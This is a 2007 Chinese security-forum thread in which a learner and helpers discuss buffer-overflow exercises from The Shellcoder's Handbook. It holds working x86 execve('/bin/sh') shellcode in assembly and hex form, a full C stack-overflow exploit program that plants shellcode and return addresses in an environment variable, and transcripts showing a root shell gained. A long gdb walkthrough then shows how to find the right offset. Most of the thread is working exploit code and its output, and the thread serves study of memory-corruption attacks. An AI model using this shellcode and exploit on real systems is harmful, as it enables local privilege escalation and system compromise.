首页
社区
课程
招聘
学习<shellcoder handbook>中遇到的问题
发表于: 2007-1-17 23:09 6400

学习<shellcoder handbook>中遇到的问题

2007-1-17 23:09
6400
在学习缓冲区溢出时遇到问题 

在第3章 shellcode-->生成shell

那一节的execve 的汇编代码:
Section    .text

    global _start
   
_start:
      
    jmp short       GotoCall
   
shellcode:
   
     pop             esi               
     xor             eax, eax         
     mov byte        [esi + 7], al     
     lea             ebx, [esi]        
     mov long        [esi + 8], ebx   
     mov long        [esi + 12], eax   
     mov byte        al, 0x0b         
     mov             ebx, esi         
     lea             ecx, [esi + 8]   
     lea             edx, [esi + 12]   
     int             0x80
   
GotoCall:
   
     Call             shellcode
     db              '/bin/shJAAAAKKKK'

我完全按照这样写的 在 redhat9.0 编译通过了 但是运行时发生了 段错误

我改了一会儿代码后  
发现 出段错误的原因 在 mov byte    [esi + 7], al     这几个构造execve参数的语句上 

请问是什么原因会出现这种段错误呢?大家运行时的时候有没有出现段错误的问题?

另外,我觉得第2章--栈溢出--Using an Exploit to get root privileges
里的  猜测构造的Buffer的起始地址 的程序有问题 

因为它始终没有用到 offset那个变量  我去查了一下 <smashing the stack for fun and profit>一书  有类似的例子 不同的是 它里面的例子 用到了offset这个变量 来猜测起始地址   而且它里面是为这个构造的字符数组专门malloc了一块内存 所以我觉得handbook这本书有些地方 可能是我没有学到位  有一些不能理解的   大家来讨论吧:)

[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!

收藏
免费 0
支持
分享
最新回复 (6)
雪    币: 2108
活跃值: (208)
能力值: (RANK:1260 )
在线值:
发帖
回帖
粉丝
2
对于第一问题:
我没有调试这个程序,不知道具体的问题出在哪?但一点要注意的是,这个程序的目的是为提取shellcode准备的,而不是用来运行的。你先试一下提取的shellcode是否可以运行,有问题再来。

对于第二问题:
不知道你提的具体是哪一个程序,我大致看了一下,并没有你提到的“没有使用offset”的问题。

希望你下次发帖时,最好能更具体一些。
2007-1-18 09:33
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
感谢arhat的解答

第一问题  虽然汇编做成的程序有段错误  但是 我把汇编程序objdump成ShellCode之后 嵌在C语言里 运行成功 生成了一个shell 真奇怪啊
虽然不明白是怎么回事 但是shellcode是得到了:)

第二个问题
是以下这个程序:
#include <stdlib.h>

#define offset_size                    0
#define buffer_size                    512
   
char sc[] =
  "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
  "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
   

unsigned long find_start(void) {
   __asm__("movl %esp,%eax");
}
   
int main(int argc, char *argv[])
{
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=offset_size, bsize=buffer_size;
  int i;
   
  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);
   
  addr = find_start() - offset;
  printf("Attempting address: 0x%x\n", addr);
   
  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
       *(addr_ptr++) = addr;
   
  ptr += 4;
   
  for (i = 0; i < strlen(sc); i++)
          *(ptr++) = sc[i];
   
  buff[bsize - 1] = '\0';
   
  memcpy(buff,"BUF=",4);
  putenv(buff);
  system("/bin/bash");
}

在猜测buff的起始地址上时

它是这样猜下去的
[jack@0day local]$ ./attack 500
Using address: 0xbfffd768
[jack@0day local]$ ./victim $BUF

[jack@0day local]$ ./attack 550
Using address: 0xbffff188
[jack@0day local]$ ./victim $BUF
Segmentation fault
[jack@0day local]$ ./attack 575
Using address: 0xbfffe798
[jack@0day local]$ ./victim $BUF
Segmentation fault
[jack@0day local]$ ./attack 590
Using address: 0xbfffe908
[jack@0day local]$ ./victim $BUF
Illegal instruction

jack@0day local]$ ./exploit1 600
Using address: 0xbfffea04
[jack@0day local]$ ./hole $BUF
sh-2.05b# id
uid=0(root) gid=0(root) groups=0(root),10(wheel)
sh-2.05b#

它始终没有用到 argv[2]这个参数  它做的只是构造一个给定参数大小的buff
而没有用到offset=atoi(argv[2])

也就是 它只定义了构造缓冲区的大小 并没有去猜测起始buff的位置 addr = find_start() - offset;

也就是shellcode的起始位置  

那么函数返回时跳转 怎么会跳到shellcode代码的呢?
2007-1-18 11:00
0
雪    币: 2108
活跃值: (208)
能力值: (RANK:1260 )
在线值:
发帖
回帖
粉丝
4
是这一句吗?

if (argc > 2) offset = atoi(argv[2]);

随后就用上
addr = find_start() - offset;


是我理解错了吗?
2007-1-18 11:17
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
在猜测的时候 也就是输入程序参数时  他只输入了一个参数

比如jack@0day local]$ ./exploit1 600
这个600就是argv[1]    但始终没有提供argv[2]的输入 offset恒为0
2007-1-22 11:49
0
雪    币: 280
活跃值: (433)
能力值: ( LV12,RANK:450 )
在线值:
发帖
回帖
粉丝
6
最初由 Wilbur 发布
在猜测的时候 也就是输入程序参数时 他只输入了一个参数

比如jack@0day local]$ ./exploit1 600
这个600就是argv[1] 但始终没有提供argv[2]的输入 offset恒为0


首先attack.c在访问变量buf前缺少一段代码:
if (!(buff = malloc(bsize)) ){
    printf("Can't allocate memory.\n");
    exit(0);
}

其实猜测是在对栈的分配非常了解的情况下才作的事情.

推荐用调试的方法, 如下:

编译victim: gcc -g -o victim victim.c
编译attack: gcc -g -o attack attack.c

用gdb attack加载编译后的attck程序,

用list命令查看源代码

.....

32        addr = find_start() - offset;
33        printf("Attempting address: 0x%x\n", addr);
34
35        ptr = buff;
36        addr_ptr = (long*) ptr;
37        for (i=0; i<bsize; i+=4)
38          *(addr_ptr++) = addr;
39
40        ptr += 4;

.....

49        buff[bsize -1] = '\0';
50        memcpy(buff, "BUF=",4);
51        putenv(buff);
52        system("/bin/bash");
53      }

在32和52行下断点:
(gdb)break 32
(gdb)break 52

因为victim.c中缓冲区大小为512, 所以要使其溢出bsize(attack第一个参数)必须大于512,
用600 100为参数运行attack:

(gdb)run 600 100

attack中断在32行断点处, 用print bsize, print offset可以查看其值分别为600,100. 然
后输入continue 继续运行程序, 中断在52行, 用p/x addr查看addr=0xbffffa04, 即程序
victim被溢出以后的返回地址为0xbffffa04, 用x/600xb buff查看buff的内容, 前4个字节为
"BUF=", 后面是shellcode, 再往后是用来覆盖返回地址的 '地址数据0xbffffa04'

(gdb) x/600xb buff
0x804a008:      0x42    0x55    0x46    0x3d    0xeb    0x1a    0x5e    0x31
0x804a010:      0xc0    0x88    0x46    0x07    0x8d    0x1e    0x89    0x5e
0x804a018:      0x08    0x89    0x46    0x0c    0xb0    0x0b    0x89    0xf3
0x804a020:      0x8d    0x4e    0x08    0x8d    0x56    0x0c    0xcd    0x80
0x804a028:      0xe8    0xe1    0xff    0xff    0xff    0x2f    0x62    0x69
0x804a030:      0x6e    0x2f    0x73    0x68    0x04    0xfa    0xff    0xbf
0x804a038:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a040:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a048:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a050:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a058:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a060:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a068:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a070:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a078:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a080:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a088:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a090:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a098:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a0a0:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a0a8:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a0b0:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a0b8:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a0c0:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a0c8:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a0d0:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a0d8:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a0e0:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a0e8:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a0f0:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a0f8:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a100:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a108:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a110:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a118:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a120:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a128:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a130:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a138:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a140:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a148:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a150:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a158:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a160:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a168:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a170:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a178:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a180:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a188:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a190:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a198:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a1a0:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a1a8:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a1b0:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a1b8:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a1c0:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a1c8:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a1d0:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a1d8:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a1e0:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a1e8:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a1f0:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a1f8:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a200:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a208:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a210:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a218:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a220:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a228:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a230:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a238:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a240:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a248:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a250:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0xbf
0x804a258:      0x04    0xfa    0xff    0xbf    0x04    0xfa    0xff    0x00

(gdb)continue 继续运行system("/bin/bash"); 出现一个shell:

icytear@attack:~/shellcoder$

输入gdb victim在此shell中调试victim:

(gdb)list              --------------------->查看源码

1
2       int main (int argc, char *argv[]){
3         char little_array[512];
4         if (argc>1)
5           strcpy(little_array, argv[1]);
6       }

(gdb) b 4               -------------------->在第4行下断点
Breakpoint 1 at 0x8048397: file victim.c, line 4.
(gdb) b 6               -------------------->在第6行下断点
Breakpoint 2 at 0x80483b7: file victim.c, line 6.

(gdb) r $BUF            -------------------->以参数 $BUF 运行victim
Starting program: /home/icytear/shellcoder/victim $BUF

Breakpoint 1, main (argc=2, argv=0xbffff674) at victim.c:4
4         if (argc>1)   -------------------->victim中断在第4行
(gdb) x little_array    -------------------->查看little_array地址
0xbffff3e0:     0x00000051   --------------->为0xbffff3e0, 即我们溢出以后的返回地址应该为0xbffff3e0, 回忆一下我们前面的返回地址
(gdb) c                 -------------------->继续运行程序
Continuing.

Breakpoint 2, main (argc=-1073743356, argv=0xbffffa04) at victim.c:6
6       }               -------------------->中断在第6行

(gdb) p/x little_array  -------------------->查看数组内容, 可以看到shellcode和'返回地址'已经被写到了little_array
$1 = {0xeb, 0x1a, 0x5e, 0x31, 0xc0, 0x88, 0x46, 0x7, 0x8d, 0x1e, 0x89, 0x5e,
  0x8, 0x89, 0x46, 0xc, 0xb0, 0xb, 0x89, 0xf3, 0x8d, 0x4e, 0x8, 0x8d, 0x56, 0xc,
  0xcd, 0x80, 0xe8, 0xe1, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73,
  0x68, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf,
  0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4,
  0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa,
  0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff,
  0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf,
  0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4,
  0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa,
  0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff,
  0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf,
  0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4,
  0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa,
  0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff, 0xbf, 0x4, 0xfa, 0xff,
  0xbf, 0x4, 0xfa, 0xff, 0xbf...}

(gdb) x/16 $ebp                ------------------->查看堆栈帧, 可以看到返回地址同样被覆盖了
0xbffff5e8:     0xbffffa04      0xbffffa04      0xbffffa04      0xbffffa04
0xbffff5f8:     0xbffffa04      0xbffffa04      0xbffffa04      0xbffffa04
0xbffff608:     0xbffffa04      0xbffffa04      0xbffffa04      0xbffffa04
0xbffff618:     0xbffffa04      0xbffffa04      0xbffffa04      0xbffffa04

(gdb) stepi             ------------------->汇编级'单步进入'
0x080483b8 in main (argc=979789414, argv=0x312e3031) at victim.c:6
6       }
(gdb) stepi
0xbffffa04 in ?? ()     ------------------->返回到一个 '不太正确' 的地址

但这里还有一个问题就是victim::main返回时的地址为0xbffffa04, 而shellcode在
little_array即我们需要的返回地址是 0xbffff3e0, (0xa04-0x3e0 = 1572), 就是说我们现
在的返回地址还需要再减去1572字节, 反应到attack中就是addr还需要减去1572(即offset需
要加1572)

(gdb)quit               ------------------>退出victim调试环境

icytear@attack:~/shellcoder$  ------------>返回到attack shell环境, CTRL+D返回到attack调试环境

(gdb)r                  ------------------>重新以参数600 100运行attack, 中断在32行代码

Breakpoint 1, main (argc=3, argv=0xbffffb24) at attack.c:32
32        addr = find_start() - offset;

(gdb) p offset          ----------------->查看offset值, 现在为100
$12 = 100
(gdb) p offset=1672     ----------------->修改offset=100+1572=1672
$13 = 1672
(gdb) n                 ----------------->单步执行
33        printf("Attempting address: 0x%x\n", addr);
(gdb) p/x addr          ----------------->查看addr值
$14 = 0xbffff3e0        ----------------->现在的addr是我们溢出是正确的返回地址

(gdb) c                 ----------------->继续
Continuing.
Attempting address: 0xbffff3e0

Breakpoint 2, main (argc=3, argv=0xbffffb24) at attack.c:52
52        system("/bin/bash");  --------->52行断点
(gdb) c                 ---------------->继续
Continuing.
icytear@attack:~/shellcoder$ gdb victim  -->在attack shell中调试victim

(gdb) r $BUF            ----------------->用参数 $BUF 运行victim
Starting program: /home/icytear/shellcoder/victim $BUF
sh-2.05b$               ----------------->溢出成功, 不过这里返回的并不是root权限的shell, 可能是因为调试环境的问题, 但这个不影响我们研究溢出
2007-1-22 17:16
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
icytear   谢谢你的详细解答  我仔细看了一遍 基本弄清楚了

回家第一天 看到这么厚道的解答真是舒服啊  预祝春节愉快

存下来了   :D
2007-1-23 19:27
0
游客
登录 | 注册 方可回帖
返回
//